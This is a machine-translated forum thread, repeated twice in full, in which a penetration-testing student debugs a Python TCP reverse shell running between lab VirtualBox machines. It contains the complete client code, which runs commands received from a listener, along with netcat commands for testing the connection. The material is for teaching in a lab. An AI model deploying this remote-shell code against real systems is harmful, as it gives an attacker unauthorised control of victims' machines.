运行 TCP 反向 shell 时出错
Error when running TCP Reverse shell
我对套接字还很陌生,目前正在参加进攻性渗透测试的在线课程。其中一个教训是 TCP 反向 shell。我 运行 在不同的虚拟机(使用 VirtualBox)上有两个脚本,一个是攻击者,另一个是目标。攻击者脚本 运行 很好,但是客户端输出错误:
Traceback (most recent call last):
File "C:\Users\Home\Desktop\TCP_RevShell.py", line 22 in <module> main()
File "C:\Users\Home\Desktop\TCP_RevShell.py", line 21, in main connect()
File "C:\Users\Home\Desktop\TCP_RevShell.py", line 6, in connect
s.connect(('10.0.2.15', 8080))
File "C:\Python27\lib\socket.py", line 228, in meth return getattr(self._sock,name) (*args)
error: [Errno 10061] No connection could be made because the target machine actively refused it
还有我的代码:
import socket
import subprocess
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15', 8080))
while True:
command = s.recv(1024)
if 'terminate' in command:
s.close()
break
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(CMD.stdout.read())
s.send(CMD.stdout.read())
def main():
connect()
main()
我不知道你是否需要看其他脚本来回答我的问题,如果需要,请告诉我。任何帮助将不胜感激,~Spiralio。
确保您可以在虚拟机之间 ping 通。如果是这样,请尝试一些简单的操作,例如 netcat 侦听器并尝试连接到它。
你可以 运行 nc -lp 8080
攻击者然后 nc 10.0.2.15 8080
受害者(假设你在 Linux)。
这两个步骤将帮助您隔离问题。如果 ping 不起作用,很可能是您的网络配置不正确。失败的 netcat 更多地指向某种防火墙。快速浏览一下并且对您的设置一无所知,我假设您的 Python 脚本没问题,并且您没有正确配置 2 个 VM 来进行通信。
确保 IP 网络相同,它们在同一个 VM 网络上(在 Virtualbox 设置中设置),并且像上面提到的那样没有防火墙 运行ning。
我对套接字还很陌生,目前正在参加进攻性渗透测试的在线课程。其中一个教训是 TCP 反向 shell。我 运行 在不同的虚拟机(使用 VirtualBox)上有两个脚本,一个是攻击者,另一个是目标。攻击者脚本 运行 很好,但是客户端输出错误:
Traceback (most recent call last):
File "C:\Users\Home\Desktop\TCP_RevShell.py", line 22 in <module> main()
File "C:\Users\Home\Desktop\TCP_RevShell.py", line 21, in main connect()
File "C:\Users\Home\Desktop\TCP_RevShell.py", line 6, in connect
s.connect(('10.0.2.15', 8080))
File "C:\Python27\lib\socket.py", line 228, in meth return getattr(self._sock,name) (*args)
error: [Errno 10061] No connection could be made because the target machine actively refused it
还有我的代码:
import socket
import subprocess
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15', 8080))
while True:
command = s.recv(1024)
if 'terminate' in command:
s.close()
break
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(CMD.stdout.read())
s.send(CMD.stdout.read())
def main():
connect()
main()
我不知道你是否需要看其他脚本来回答我的问题,如果需要,请告诉我。任何帮助将不胜感激,~Spiralio。
确保您可以在虚拟机之间 ping 通。如果是这样,请尝试一些简单的操作,例如 netcat 侦听器并尝试连接到它。
你可以 运行 nc -lp 8080
攻击者然后 nc 10.0.2.15 8080
受害者(假设你在 Linux)。
这两个步骤将帮助您隔离问题。如果 ping 不起作用,很可能是您的网络配置不正确。失败的 netcat 更多地指向某种防火墙。快速浏览一下并且对您的设置一无所知,我假设您的 Python 脚本没问题,并且您没有正确配置 2 个 VM 来进行通信。
确保 IP 网络相同,它们在同一个 VM 网络上(在 Virtualbox 设置中设置),并且像上面提到的那样没有防火墙 运行ning。